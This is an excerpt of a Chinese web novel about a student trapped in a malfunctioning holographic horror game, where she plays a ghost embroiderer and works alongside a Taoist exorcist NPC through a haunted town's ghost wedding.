《恨嫁NPC他光速白给》
1. 第 1 章
灰沉沉的天幕下,凌乱无章的野草啃噬仅存的生机。
乱石嶙峋,杂丛遍地。
这里最不缺无名无姓的人。
被学姐用学分哄来进行元宇宙研究院新成果内测的鱼宣第一次尝试所谓的“全息剧本杀”,还没来得及调试身体数据,只感觉后脑勺硌得慌。
她没急着动弹,先唤醒系统面板。
亲切温和的女声响起的同时,鱼宣面前出现一块光屏。
“欢迎使用元宇宙全息模拟系统,正在为您接入数据。”
“本次参与剧本:《伏灵令》。”
“剧本背景:灾荒三年,天降甘霖。本以为是王朝幸事,怎料此后灵异妖邪频出,皇帝一心问道,不问朝政,在国师谏言下设立伏灵司,招徕天下能人异士,专事降妖除邪,庇佑百姓。然邪祟生生不息,王朝式微,大厦将倾。”
“当前角色:周平宛(失忆)。”
“角色剧情:你记忆全无,在乱葬岗醒来,发现自己身处一口黑漆棺材中。你推开棺盖坐起身,周围散落六根长钉,不远处躺着一个昏死的人。”
“剧本任务:探查角色身份和灵异出处,完成剧情探索。(本角色自由度较高,剧情探索为主要玩法,玩家可自行安排)”
“当前进度:0%(剧情探索达到60%将解锁支线)”
“报错:角色信息缺失,部分功能无法使用。”
鱼宣目光停留在最后一行亮红的报错上,又检查一遍面板,除了身体数据不可修改,暂时没发现有什么不能使用的功能。
失忆流灵异剧情本。这跟荒岛求生有什么区别吗?
一个脆弱的女大学生轻轻地死去了。
接受了出生点在乱葬岗的现实,鱼宣认命爬起来寻找零进度的突破口。
鱼宣跨出棺材,本想绕过地上的棺钉,谁知刚靠近,面前就弹窗。
“物品:镇棺钉(6/7)——已自动拾取。”
四下找了一圈,仍没发现第七根镇棺钉,鱼宣决定从在场唯一的NPC入手推本。
NPC仰面倒在一座土堆旁,土堆前杵着半截木头,上面没有刻字的痕迹,断开的地方新鲜尖锐。
另外半截被压在这人身下。
鱼宣想到剧情里说他昏死了,于是放心大胆地走过去搜身。
在失忆流灵异本里,死的怕诈尸,活的怕背刺,脆皮丝血的NPC最让人放心。
这NPC明显混得不好,衣料比她这个刚从棺材里爬出来的还素。翻遍里里外外,有物品提示的只一枚令牌和一瓶药。
令牌铜底金字,正面“齐览”,背面“伏灵”。
“物品:伏灵令——伏灵司身份牌,齐览,属外派治安部。”
是人家的东西,不能拾取。鱼宣遗憾地收回手。
按理说这令牌都点题了,该是重要道具才对。
再看一眼进度。还是纹丝不动。
“物品:留行丹——拯救血条,提神醒脑。”
鱼宣倒了两颗给齐览塞下去,然后把药瓶揣起来。
灵异本难免掉血,血条不足是万万不能的。
药很快见效。
“当前进度:1%(剧情探索达到60%将解锁支线)”
鱼宣抬眼,齐览果然已经醒了。
先前人昏着还不觉得,现在眼一睁开,整张脸的完成度一下子升上去,鱼宣冷不防对上,瞟过去的眼神不自觉慢下来。
素衣考验人的气色,很轻易会衬出憔悴来。齐览没有这个烦恼,他肤白,即使现在身上各处沾了灰,也照样出尘。
细细一看,他的五官很标致,眉眼上挑,但凡少一分正气就算得上轻浮。
鱼宣的欣赏持续不到两秒,被留行丹灌得满血复活的青年抬手架了一把匕首在她脖颈处。
齐览声线沉沉:“你是何人?”
“何必管我是谁,”鱼宣食指点点齐览握着匕首的手,“我如果有杀心,就不会让你醒了。”
齐览没挪开匕首,只冷冷看着她。
鱼宣与他对视,把手一摊:“我一介弱女子,死在这荒郊野岭也没处说理,你要杀就杀,算我白白救你一命。”
齐览默默放下手。
很可惜,血条跟体力条不是一个概念。他没有再抬一次手的力气了。
鱼宣确实没杀心,她还指望跟着NPC走剧情呢。
齐览正准备打坐调息,鱼宣把脸凑过去:“齐大人,你是父母官,实不相瞒,我恐怕撞邪了,过往的事情一点也想不起,这样的世道,我可怎么活呀。”
百姓遭遇灵异,都说自己撞邪。这话齐览听得熟络。
但看鱼宣这张脸,实在没有惊慌的影子。
齐览闭眼:“要找父母官,找你们县令就是。”
他是道士,修道一途讲究随性自由,入伏灵司是为苍生,做官就与修行背道而驰了。
鱼宣挑的是单人剧本,她当然知道长成这样的NPC不会是路人甲,要像鬼一样缠着他。
她晓之以理:“我自身难保,还救你的命,如今我没地方可去,就不能捎我一程?”
齐览闭着眼,头朝鱼宣的方向侧了侧。
“你要去哪?”
鱼宣展出笑来:“与你同路。”
齐览没有再回话,似乎完全进入调息状态。
鱼宣知道这位是答应带上她了,识趣不多嘴,在旁边找了个位置靠着土堆坐下,想学着齐览的样子养养神。
一转眼看见黑漆的盖好的棺材。
鱼宣迟钝地回忆起来:坐起,站直,跨出,捡钉子,搜身,救人。
完全想不起来有没有随手盖棺了。
鱼宣没有再为难自己鱼一样的记忆力。
这具身体并不疲惫,反倒有种睡久了的酸软感,比起养神更需要活动筋骨。
按正常逻辑,NPC处于闭麦状态的话,玩家就该自行探索了。
但她还没忘记这是灵异本。
鱼宣看一眼某满脸写着靠谱的NPC,决定在他的伸展范围内行动。
这一片都是不太美观的场景,空气中散发着吸引食腐生物的味道,但由于面板被锁定,五感也无法调节,鱼宣只能放轻呼吸。
齐览这会儿正盘腿坐着,原本被他压在身下的半截木头显露出来。
断口太尖锐,还沾着血,齐览后背的创伤有一道是它的杰作。
但是在面板存储的世界观资料中显示,道士修行从炼体开始,别说普普通通的木刺,就是刀剑火药,也未必能伤齐览分毫。
总结:能对齐览造成实质伤害的东西必不是凡品。
乱葬岗土堆前的木头是作何用处显而易见,随意触碰太冒昧了。不过已经被NPC砸断的这半截还是能看看的。
平平无奇的断木上糊着一张黄纸。
“物品:镇灵符——一种道士平A,但加强版,用于镇压邪灵。”
道士平
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A?
鱼宣狐疑地看向齐览。
她刚刚可没从这人身上搜出任何符隶。
就在鱼宣思考的时候,身旁的土堆传来不寻常的响动。
这种情况显然是要刷怪了。
一身素衣的青年道士却没有任何反应。
鱼宣忍不住提醒:“齐大人,你不觉得我们离人家的地盘太近了吗?”
换位思考,谁要是在她百年之后坐她脑袋上,她也会挣扎一下的。
齐览睁眼看她。
鱼宣指了指他身旁的土堆。
齐览面色平淡:“这是乱葬岗,别说这座坟,就是你脚下的土也是尸骨滋养而成。”
言下之意,如果计较死者为大的话,就无处下脚了。
鱼宣:“我倒不是说这回事……您要不用专业的眼光看看呢?”
齐览皱眉,翻手掐诀。
开天眼。
干这一行本身就该能看见点什么,但肉身凡胎能承受的天赋有限,必要的时候还是天眼更方便。
鱼宣本来还想偷师,根本看不清动作,遂作罢。
下一刻被人捞起来,转眼挪出一段距离。
青年神色紧绷,紧盯着不远处的无名坟。
鱼宣问:“我们不跑远点?”
这几步路都不够邪灵喘口气的。
“方圆百里,只这里能让你我容身。”
齐览手轻轻搭上黑漆的棺盖。
鱼宣才反应过来,齐览带着她躲到了她的出生点棺木后。
镇棺钉之前已经拾取,现在重新盖上的棺木却被木楔子封好了。
道士对从棺材里出来的人会是什么想法?
无论是起死回生还是借尸还魂,总之不正常。
决不能让齐览发现棺材是空的。
本来她一个人出现在乱葬岗就够可疑了。
没等鱼宣绞尽脑汁劝齐览放弃利用棺材,挣脱束缚的邪灵已经破土逼近。
开棺是来不及了。
齐览把鱼宣脑袋往下压了压,口中快速念了一句什么,然后跃到棺前与邪灵正面对上。
鱼宣紧张兮兮扣着棺材等了一会儿,没听见什么大动静,按捺不住慢慢探头。
齐览手里拿着一段黑漆木板,在跟一个小少年对打。
鱼宣低头,手里扣着的正是棺材的一处缺口。
少年面对着鱼宣这边,面色青白,脸上密密麻麻布满暗红的纹路,延伸进领口。
与那双灰色无聚焦的眼珠对上,鱼宣心中一紧。
被发现了。
果然,少年灵活避开齐览的攻击,甩下他径直朝鱼宣的方向掠来。
“新角色:邪灵——异地登录,不是本人。”
什么……意思?
鱼宣来不及细想,掏出藏在袖中的断木扎入少年面门。
感觉到对方动作的停滞,鱼宣又将撕下来的镇灵符糊到他脑袋上。
齐览赶过来看她没有大碍,于是着手处理善后。
危机解除,鱼宣眼中惊惧却越来越深。
就在刚才,她终于知道面板缺失的功能:
暂停、存档和登出。
手后知后觉地抖。
第一次进全息模拟,默认设置100%五感同步,如果没有及时调整,受到刺激是有概率脑死亡的。
可是面板已经锁定,也无法强制登出。
把命玩进游戏。
天崩开局。
2. 第 2 章
“当前进度:2%(剧情探索达到60%将解锁支线)”
“恭喜玩家击杀邪灵*1,触发角色能力【针线专精】,解锁角色身份【绣娘】。”
“角色剧情:年年苦恨压金线,为他人作嫁衣裳。”
“角色物品:针线包——已收入面板,玩家可自行查看。”
“报错:角色信息缺失,部分功能无法使用。”
鱼宣带着崩溃的耐心等了一会儿,发现确实没有下文。
角色剧情就这?
脑子越乱越清晰。
系统出错的问题等秋后算账,现在最重要的是保住这条命。
姗姗来迟的系统音响起。
“报错检修中,已为玩家开启自动防护模式,祝您游戏愉快。”
齐览处理完邪灵回来,目睹了鱼宣从呆滞到支棱起来的全过程,迟疑询问:“你……没事吗?”
鱼宣仰头笑道:“没事的,齐大人,我们可以启程了吗?”
自动防护模式,俗称锁血挂。
这下是死不了了,只是要完成推本才能登出而已。
……而已。
齐览颔首:“是要尽快离开,这里灵异躁动,不宜久留。”
鱼宣眨眨眼。
“可您方才说,方圆百里都不安全啊。”
齐览面不改色:“我收回前言。”
鱼宣突然就觉得这个NPC也不是那么靠谱了。
“那您知道怎么走出去吗?”
这里可是一个地标建筑也没有,说不定走着走着还能碰上新鲜的尸体。
或者邪灵。
齐览奇怪地看她一眼:“往来时路走就是。”
鱼宣提醒:“我没有记忆。”
“不是说与我同路?”
齐览用来路可疑的布条把黑漆木板绑在身后,“走吧。”
鱼宣开了自动跟随,在面板找到所谓的“针线包”。
金线是真的金线,针则是银质。还有一些零散的东西,像剪刀和尺。
以及雾状丝状的不明物体。
看起来用处不大。
回程只有一条路,专供附近城镇到乱葬岗往返。
灵异肆虐以来,从边陲小镇开始入侵,别说方圆百里,附近十座城池的百姓没有不愿逃,只有不能逃。
周围的景象从荒地杂草枯树到不时出现人迹,自动跟随解除。
鱼宣环顾一圈,有山有水的,非常宜居。
“这是哪里?”
齐览把鱼宣拉近身旁,卸下黑漆木板握在手中,气势升腾。
青年和系统的声音几乎同时响起。
“桃源镇。”
“恭喜玩家开启新地图:乱世桃源,梦里春秋——桃源镇。”
“您已解锁新手副本【桃源镇】”
一句话让NPC开启战斗模式。
鱼宣老老实实躲在齐览庇护范围内,知道这会儿自己问也白问。
齐览只觉棘手,他身上能用的早就在撬棺材的时候用完了,桃源镇却是离开乱葬岗的必经之路。
伏灵司的差事真是压死人。
他掂了掂木板,空出一只手扣住鱼宣的腕往前走。
鱼宣侧眼,一块刻着“桃源镇”三个大字的青石躺在槐树树荫底下,无声地守着这处聚落。
踏过青石界限,原本空荡荡的城镇似乎有了人烟。
“宛娘子,这一趟好久哇。”
冷不丁的人声将小心翼翼的两人惊得身体僵硬。
原来是槐树荫下坐着一个摇着蒲扇的白鬓老人。
齐览上前:“老人家,我们途经这里,想请您指路去京城。”
老人眼神清明,摆摆手:“既然是宛娘子的客人,听她安排就是。”
转而又对鱼宣亲切道:“你跟萍宁丫头前后脚回来,她今晚招待客人,你们还要等等。”
“意思是,我也要招待他吗?”鱼宣指了指齐览。
老人瞥一眼过去:“是客人,就招待。这当然要看宛娘子自己的意愿。”
鱼宣还想问,被齐览拉了一把。
青年皮笑肉不笑:“多谢老人家,我赶路太久,劳烦宛娘子收留我几日。”
老人不置可否,收回视线半阖眼,重新摇起蒲扇。
前方的路突然清晰起来,给人以强烈的指示感。
齐览毫不犹豫带着鱼宣走进去。
鱼宣摸不着头脑:“这就走了?去哪儿啊?”
齐览头也不回:“去你家啊,宛娘子。”
“你又知道我家在哪了?”
齐览松开鱼宣的手腕,转身盯住她的眼睛。
“所以你真是宛娘子。”
“我没跟你说过吗?我叫周平宛,”鱼宣心虚地揉揉发红的手腕,“但我对这里完全没印象啊。”
齐览深深看着她:“除此之外,你还记得什么?”
鱼宣被齐览看得心里发毛,不自觉躲避他审视的目光:“我是个绣娘。”
“没了?”
“没了。”
齐览不知道信了还是没信,沉默着把黑漆木板绑到鱼宣身上。
鱼宣背上一沉,差点栽倒,伸手一把扯住齐览的衣袖。
齐览右手挡在她后背,看她站稳了,淡淡开口:“此物能避妖邪,你要还想出桃源镇,就带着它。”
鱼宣攥着绑带问:“那你怎么不多拆几块?”
那么大个棺材,木板管够的。
齐览不说话了。
鱼宣识趣闭嘴,紧跟着齐览。
很快两人来到一处院落前。
木门看起来很单薄,齐览上前叩门,并无回应。
他又用了暗力去推,木门纹丝不动。
齐览转头看向鱼宣。
鱼宣看了看木门,再三确认系统面板里没有钥匙,只能硬着头皮上前。
手才抬起,“吱呀”一声门庭自开。
鱼宣:莫非是人脸识别……吗?
齐览平静地看着鱼宣,没有动作。
鱼宣犹疑:“……请进?”
齐览颔首,抬脚跨过门槛。
鱼宣回头看了一眼,街道建筑都实实在在,却莫名让人感到方向错乱。
都是不可拜访的状态。
鱼宣进入院落,开始四处查看。
周平宛的家生活痕迹很重,水缸里还有2/3的水,仿佛主人才出门不过半天。
齐览跟随鱼宣在院子里走了一圈,一言不发。
鱼宣脑筋很快转过来,看向一身正气中掺杂顺从的素衣青年,手指着自己:“我现在得安排你,是吗?”
青年垂眼:“客随主便。”
鱼宣不明白他能随一个记忆全无的人什么便,只好笑一下算了。
大概打量了一下房屋的构造,鱼宣估摸着柴房收拾收拾能住人:“那你今晚……”
“今晚去萍宁家。”
鱼宣抬眼。
齐览的脸色已经苍白起来,艰难挤出后半句:“行吗?”
鱼宣赶紧接话:“好的好的。”
想了想,为了保险起见又补充道:“我跟你一起去。
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”
齐览略带赞赏地看向鱼宣:“那就麻烦宛娘子了。”
“我这里也没个正经的客房,齐大人要休息就在柴房凑活吧。”
鱼宣怕这人行事自己跟不上,到时候两人一分开,他要想再回来也无计可施。提前给个回城的坐标,下雨了好歹能往家跑。
早前一番探查,齐览也知道这院落仅周平宛一人生活。
“宛娘子独身居住,该谨慎些。”
这话跟“寡妇门前是非多”异曲同工,鱼宣听懂了。
她讥诮道:“实在是时势所迫,大人见谅,万勿轻薄于我。”
对面久久没有动静。
鱼宣掀起眼皮。
齐览本就高她一头,看她总要低眼,现在头都埋下来,如果不是仪态限制,恐怕脊背也弯得厉害。
是出于遮掩的姿态。
可惜齐览平日作风太光明磊落,这一套动作格外青涩,头发又是一梳到底的清爽,无法为他此刻的窘迫提供遮挡。
鱼宣很轻易就看清青年极力隐藏的羞窘。
鱼宣:……
一个引路NPC,戏太多了吧。莫非是隐藏BOSS?
不确定,再看看。
“齐大人,我相信您的人品,”鱼宣出言阻止NPC的挂机,“我们要为晚上的行动做什么准备吗?”
但NPC有自己的想法。
“不必,”齐览一手撑上门框,“齐某先去柴房……宛娘子有事唤我便是。”
不等鱼宣回应,他的身影已经消失在门内。
说来以齐览的状况,一路走来确实是在硬撑,抓紧时间休整是非常必要的。
鱼宣没有叨扰对方的想法,趁着空闲进里屋搜寻。
一进门,里屋一览无余。
馨香女儿帐。
窗户旁摆着织布缝纫的各种器械,这一片起到一个工作台的作用。扶手木料都被盘得抛光,已经陪伴主人很多年。
鱼宣翻找观察一遍,在层层叠叠的小抽屉里挑得眼都花了,耳边才响起系统声。
“物品:金线·囍——已自动拾取。”
这金线没有详情说明,从外表来看与针线包里的没有什么不同。但这个“囍”就很值得探究。
给人一种附魔属性的感觉。
鱼宣想,针线包里的金线或许只是半成品,要想过剧情,必须找对应的线,后期甚至不能用现成的。
桃源镇是周平宛居住的地方,是探索角色剧情的第二现场。很可惜她没有写手札的习惯,否则还能大致推断人物性格和过往经历。
只是不管周平宛的过往如何,这镇子不对劲是肯定的。
村口的老人说萍宁今晚招待客人,他们还要再等等。
这所谓的招待,肯定不是吃顿饭这么简单。
如果不招待,她自己不好说,齐览肯定是要倒大霉了。
引路NPC死亡导致无法推本什么的,这种事情不要啊。
安安分分待到天色昏黄,闻到从窗户飘进来的香味,鱼宣才等到叩门声。
她打开门,面前站着的却是一个单薄的纸人。
鱼宣:……这位小友真能叩响门吗?
纸人晃晃脑袋,确认眼前人的身份,随后双手奉上一份请柬。
鱼宣伸手接过,面前的纸人朝她一鞠躬,化成飞灰。
一次性的跑腿道具……吗?
她低头看手上请柬,正面一个红白相间的“囍”字,内容也言简意赅:
今夜子时,请客来。
落款是:李萍宁。
3. 第 3 章
鱼宣早先就看过,这屋子里里外外柴米面油齐全,按理说这也饭点了,她作为“周平宛”应该做顿饭的。
尴尬的是,鱼宣不会用这里原始的灶台。
目前来说,鱼宣没感觉到饿。
她一个弱女子都不饿,齐览好歹是个道士,想必早就辟谷了。
带着这样的推测,鱼宣心安理得地揣着请柬去柴房找人。
柴房当然没有床铺,齐览也没有向鱼宣问其它权限,不可能拿到被褥。于是鱼宣推开门见到的就是他坐在一层薄薄的干草上。
除了就地取材不作他想。
鱼宣视线上移,与齐览四目相对,不由自主地心虚。
齐览倒是很自觉地询问:“宛娘子,有什么事吗?”
鱼宣掏出请柬,简单做了说明。
“萍水相逢,姻亲留客,”齐览一看“囍”字就明白过来,面色一冷,“灵异最百试不厌的裙带手段。”
虽不带脏字,鱼宣此前也没设想过齐览会突然说出这么尖酸带刺的话,不动声色地记下。
NPC突如其来的OOC,不是BUG就是伏笔。
“这位兄台也是时运不济,”鱼宣边搭话边看齐览脸色,“怎么想得到出门一趟就被拉郎配呢?”
齐览没接她的茬,只伸手指了指请柬内容上方空着的部分:“这里,要填宾客姓名。”
鱼宣应下,又迟疑:“我没在屋子里找到笔墨。”
齐览深深看她一眼。
鱼宣被看得有点不自信了:“那我再找找?”
“不必找了,即便整个桃源村,也找不出半点笔墨,”齐览站起身,拍了拍身上的干草,手指翻转间多了一支竹管笔,“用这个吧。”
“物品:通行笔,剩余100%——跨界交流专用。灵力驱动,及时充能。”
跨界交流一般不都是烧烧火就行吗?
鱼宣困惑,顺嘴问出来。
“早几年确实如此,现在不行,”齐览解释道,“如今灵异横行,给孤魂野鬼敬香火,当心因果缠身。”
鱼宣认同地点头,接过笔,没注意齐览探究的目光。
鱼……不对。
周平宛,齐览。
鱼宣庆幸自己年纪还小的时候练过半年书法,不然怎么握笔都不知道。
她翻过请柬在齐览面前晃了晃,“好啦!”
齐览盯着“周”字左上角明显的涂改痕迹,没有阻止她顺手牵羊将通行笔据为己有。
“宛娘子的字迹,不似寻常女子娟秀,”他扯着话题,从鱼宣手上拿过请柬,“颇为稚拙。”
小学生字体也不是一天两天了,鱼宣很看得开,笑嘻嘻地抖机灵:“余幼时即厌学,字迹而已,笔画能辨即可。”
齐览摇摇头,把请柬塞回给她:“趁着时辰早,做些准备吧,恐怕今夜不太平。”
鱼宣反手摸了摸后背的木板,目露询问:“这还不够吗?”
实际上,她有些担心今晚的睡眠质量。这么硬一条板子,它硌得慌啊。
“……对宛娘子来说,应该是够了。”
齐览看出她惰性发作,也不强求。
鱼宣轻易看出青年道长的欲言又止,非常熟练地给台阶:“齐大人还有什么要事吗?”
齐览的头稍微地低了低,梳在脑后的马尾垂落两缕,他轻轻开口:“我有些饿。”
还真会饿啊。
鱼宣是真有点惊讶了:“齐大人还未辟谷吗?”
“我入道以来就辟谷,”齐览皱眉,窘迫得格外明显,“桃源镇,有古怪。”
鱼宣提出一个现实的问题:“既然有古怪,这里的粮食能入口吗?”
“桃源镇的规矩是客随主便,只要宛娘子应允,我想,这处院落之内,百无禁忌。”
齐览的神情语气没有多大变化,鱼宣却莫名感到一阵压力。
她后退一步,抿出一个笑来:“齐大人如果肯动手,院子里就有柴火,厨房也有米面,只要不嫌弃粗陋就好。”
齐览静静看着她动作,颔首:“多谢宛娘子了。”
鱼宣目送他离开,惊觉后怕。
引路NPC跟她这个玩家的立场显然有壁。
目前来看桃源镇不是什么正经地方,她肯定是要跟着齐览去京城的。
但是这可是“周平宛”的快乐老家啊。
这不就说明她拿的这个角色不是正常人吗?
再强的锁血挂也扛不住引路NPC卡关妨碍推本啊。
系统怎么也不提醒一下要维护关键NPC好感度,搞不好NPC发现她怎么也不死,就得上封印解锁小黑屋了。
鱼宣欲哭无泪,只觉得身后的棺材板更沉重了。
齐览没有动院子里的柴火,毕竟有灵力万事行方便。不多时他就端着两碗面从厨房走出来。
鱼宣眼睁睁看着他走过来,想说自己不饿,又不敢说,但是也不敢吃对方做的食物。
万一放了符水咒术,她就任人宰割了。
“物品:无盐清水挂面,但灵火烹饪版,延年益寿,或有额外增益效果。”
齐览敏锐地察觉到鱼宣死死盯着自己手中面碗的眼神发生了诡异的变化。
“宛娘子,这面……”
“煮多了是吗?真是不小心,”鱼宣假笑道,“不过米面金贵,为免浪费我会帮忙解决的。”
齐览强忍缩手的冲动,让鱼宣从自己手上掠了一碗面过去。
他不动声色地观察,问:“宛娘子也饿吗?”
鱼宣一顿。
青年道长的手默默扣紧指骨。
鱼宣从嗓子眼憋出话来:“……噎住了,有水吗?”
齐览当即放下面碗起身去倒水。
看着她送水咽下,齐览探究问道:“这面没放多余的调味,宛娘子吃得惯吗?”
鱼宣头也不抬:“齐大人自己的手艺,自己不清楚吗?”
不知道为什么,齐览总觉得她的态度一下子变得放纵很多。
就,有点一惊一乍。
吃过面的鱼宣拿人手短,从屋子里抱了一床被褥送去柴房,之后相安无事到了要出门的时辰,一过门槛就见抱臂等在外面的青年道长。
“齐大人,久等了。”
齐览反应慢了半拍,讶异地看着突然出现的鱼宣。
鱼宣笑眯眯地仰头与他对上视线,拎着裙摆原地转一圈,很有兴致地问:“我从衣柜里找出来的,去赴宴要穿正式些,怎么样?”
她换了一身烟紫衣裙,是真心想穿得光鲜,奈何对发髻没什么研究,更繁复的造型完全操作不了。
齐览当然无衣可换,也不太共情她,只礼节性地夸赞:“光彩照人。”
鱼宣也不计较他眼皮都没动一下的敷衍,轻快地越过他走在前面。
桃源村本身是灵异,漫无目的会迷路,有明确目标就缩地成寸,不肖半刻两人就来到张灯结彩的李宅。
白日里村口的老者在门口迎客,见两人来了,亲切地招呼鱼宣过去:“宛娘子,你也是头一回,可得学着点啊。”
鱼宣的脑筋拐了拐,手指向自己,不可置信:“我也要?”
她光知道李萍宁请客请成了喜宴,没想到这还有她的事儿呢。
没听过招待客人要把婚结了的,吃顿饭顶天了。
老者拍拍她肩膀:“虽是头一回,可谁不眼红你挑了这样一位,放心放心,明儿我也替你守门。”
什么中式恐怖。
不信谣不传谣哈。
鱼宣干笑,梗着脖子不愿回头看齐览的脸色。
老者在礼单上记下两人名字,正要抬头,一只手从鱼宣肩膀越过,递到他面前。
“物品:连理双鱼佩——寓意吉庆,贺人鬼姻亲。”
鱼宣对没有buff的东西没什么兴趣,只匆匆看一眼。
墨绿玉雕的两条鱼面对面贴着,鱼尾被缠枝纹样的金线纠集在一起,阴凉又奢靡,看着像是陪葬品。<
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p>老者接过对着头顶的灯笼正反面翻来覆去看,随后满意地收好,再看向齐览的眼神都柔和不少:“进去吧。”
要不说灵异本省经费,两人一路进去都不需要引路人,跟着指向感一路到了正厅。
齐览抬手挡了一下准备往里冲的鱼宣,叮嘱:“子时婚宴,是灵异阴气最盛的时候,无论看到什么,不要表现异样。”
鱼宣的动作肉眼可见地踌躇起来,犹犹豫豫往前踱几步,又回头侧身抬手:“齐大人,您先请。”
齐览也不推辞,抬腿径直迈在鱼宣身前,板板正正地往前走。
鱼宣垂眼紧跟其后。
正厅门户大开,两枚冒着黑气的长钉直扑齐览面门,在只差毫厘时被逼停,与齐览腰间一枚铜铃一齐落地,碰撞声清脆响亮。
厅内传来女子尖细空灵的声音:“宛娘子的人,还真有点本事。”
被点名的鱼宣从齐览身后走出,试探出声:“萍宁?”
“宛娘子亲自来了?”那声音的主人似乎才注意到鱼宣,语调急转,“快快进来,时辰正正好。”
鱼宣拎着裙摆安安全全跨过门槛,一眼望见背对着她站在厅堂正中的青衣新娘,心里大松一口气。
——还好不是红衣。
萍宁转过身来,鱼宣才知道自己高兴早了。
虽然不是红衣,但红眼啊。
“新角色:李萍宁——桃源镇居民,鬼新娘(暂时性buff)”
鱼宣扯出笑来,一边在脑子里搜刮着寒暄的话,一边朝着萍宁走去:“萍宁,你这……大喜的日子,怎么不见新郎官呢?”
萍宁白皙的脸上浮现出笑意:“知道你心急,槐伯与我说道过了,我会好好教你的。”
鱼宣百口莫辩,嘴上还得接话:“那真是多谢你了。”
萍宁看着已到近前的鱼宣,颇为怜惜地搭上她的手:“宛娘子,你是我们这里最守得住的,这段时间又精进不少,方才我都没发觉你。”
鱼宣轻轻捏了捏萍宁的手,引得她注意,朝她小幅度地摇摇头。
萍宁视线游移到几步之外的齐览身上,变得讥讽又轻蔑,重新看向鱼宣时,安抚地拍了拍她的手:“好了,不说这个,让他也别杵着了,入座吧。”
这句话仿佛一个开宴的讯号。
下一刻,原本落针可闻的正厅充斥推杯换盏的喧嚣,鱼宣与齐览之间顿时人影绰绰,如有珠帘相隔。
萍宁手里捧着的红绣球延伸出去,与一绛衣男子相连。
鱼宣与绛衣人离得不远,当即注意到了他,但忽然失去了指向感,与那人相关的路线一片错乱。
萍宁没有阻止鱼宣对自己新郎官的明显探究,只是附在她耳边启唇:“你的贺礼,我很喜欢。”
鱼宣转头盯着她血红的眼,脑内疯狂串联着信息。
高朋满座中,两个人同时松开对方的手,隐没在人群中。
“恭喜玩家获得增益:皎皎河汉女——相望而不相见,主动触发后产生隐匿效果,无冷却。”
这是那碗无盐清水挂面的功劳。
鱼宣冷眼看着齐览第一时间意图冲到绛衣人身边。
立场截然不同的引路NPC,还算是友方NPC吗?
如果不算……
“当前进度:3%(剧情探索达到60%将解锁支线)”
“当前角色:周平宛(鬼绣娘·失忆)”
“恭喜玩家成功推理关键信息,解锁灵异能力20%,请谨慎使用。”
鱼宣低头看自己摊开的右手。
再抬头,隔空送了一把力,齐览和绛衣人之间距离霎时拉近。
绛衣人缓缓转过身面对齐览和不远处的鱼宣,灰沉沉眼瞳无聚焦,满屋的大红装饰衬得他面上纹路若隐若现。
“角色:邪灵——异地登录,不是本人。”
果不其然。
鱼宣收手,拇指摸上食指指骨。
“触发增益效果:皎皎河汉女。”
4. 第 4 章
绛衣人眼中的目标只剩下齐览。
齐览敏锐察觉到扑面而来的杀意,但已经来不及躲避,只能生生接下对方攻势。
鱼宣仗着隐匿,凑近了观摩战场。
于是她听到了细微的玉碎声。
鱼宣完全扭转了初见时觉得齐览凄惨的想法,又对系统的不靠谱程度有了新的了解。
NPC身上明明有那么多可挖掘的道具,偏偏在开局最好薅的时候系统装哑巴。
而此时的齐览实际上应付得很勉强,两手翻飞掐诀,片刻不敢停。
保命的东西他有,但早在从京城出发到边陲的路上就消耗了大半,如今用一件少一件。
更让他束手束脚的是,在场远不只与他对打的这一个灵异。恐怕除他之外再没有一个活人。
灵异哪怕看着与常人无异,一旦触发他们的攻击欲望,就一发不可收拾。
来往宾客如流,齐览只觉后背发凉。
照这样下去,他死在今晚不是不可能。
鱼宣眼见齐览被压着打,出手明显比在乱葬岗保守,也理解他的顾虑。
如果这满屋子的灵异一起暴走,不必说齐览,鱼宣自己都脱不了身。
回头看一眼不知何时封闭的大门,鱼宣后知后觉:她也是个灵异啊。
作为“周平宛”,她是桃源镇的一员,如果齐览这个唯一的活人被解决,相当于她的路引也就没了,整个桃源镇无法出入,到时候就只能卡关卡进死胡同。
齐览不能死。
鱼宣收敛起懒懒散散的看戏姿态,解除隐匿。
正狼狈躲闪的齐览手上一沉。
齐览一回头,黑漆漆的棺材板又回到了他手上,鱼宣一脸鼓励地笑看着他。
看起来相当无害的女鬼还有闲心拍拍他肩膀:“齐大人,靠你了。”
齐览咬咬牙,这时候没得挑,有武器不管趁不趁手,他一手把鱼宣往身后拦,一手拎着黑木迎上已至近前的绛衣人。
他没唬鱼宣,这黑木确实有避妖邪的功效,绛衣人挨这一下半天没爬起来。
鱼宣对自己的灵异身份有了几分实感,这会儿看那块黑木也发怵,默默退远。
一只手扶上鱼宣的腰侧。
“宛娘子。”
鱼宣一个激灵,转头看去。
是一个面目模糊的女宾客。
她是来劝酒的:“宛娘子,怎么愣在这?镇上喜事难得,也来喝一杯庆祝庆祝吧。”
鱼宣不动声色地按下宾客的手,跟着她到一处落座。
萍宁临走时曾说让他们入座,当然不会是废话。
再看齐览,已经跟绛衣人打得有来有回。
鱼宣仔细看了看,发现所谓的邪灵只是小鬼难缠,武力值并不高,黑木的作用在,他们缠斗的地方没有宾客去,绛衣人撑不过齐览几招。
“解锁状态:飘飘然(暂时性buff)——醉后不知天在水。”
“系统提醒您:饮酒适量,嗜酒伤身。”
鱼宣慢慢看向手中莫名其妙出现的酒杯,嘴里还有酒香余味。
耳边还有宾客带着笑的调侃:“宛娘子好酒量!”
鱼宣的思考变得力不从心,伸手想扶住桌角却扑了个空,一头往地面栽去。
然后被人捞鱼一样捞起来。
“宛娘子,你醉了,跟我走吧。”
鱼宣费力抬起眼皮。
“是齐大人啊。”
她被勒得难受,挣扎着翻了个面。
青年道长默默背上黑木,空出手把人打横抱起来。
一桌的宾客齐齐看向他们。
齐览不用想都知道,整场的灵异都死死盯着这边。
他垂眼放轻了语调询问:“跟我走吗?”
“好啊,走吧。”醉鬼无所谓道。
齐览从鱼宣这里拿到了挡箭牌,终于不那么紧绷,又问:“去哪?”
鱼宣还记得自己今天来不能空手而归,好歹得让进度条动一动,她皱眉晃晃脑袋,实在没有跟脑细胞商量的余地,只好拱手送出理智的归属。
她阖眼,轻飘飘一句话:“还请,齐大人做主。”
“好,”青年道长冷清清的眼扫过这桌宾客,“诸位,宛娘子不胜酒力,我们失陪了。”
先前劝酒的那位女宾客起身:“留客的厢房已备好了,二位随我来。”
大门依然紧闭。
齐览知道今晚是出不了李宅了。
他颔首:“劳烦领路。”
出了厅堂,热闹的氛围荡然无存,一人两鬼无声地走在回廊里。
路程不远,转两道弯就是一排整齐的屋檐。
夜深露重,寒意驱散些醉意。
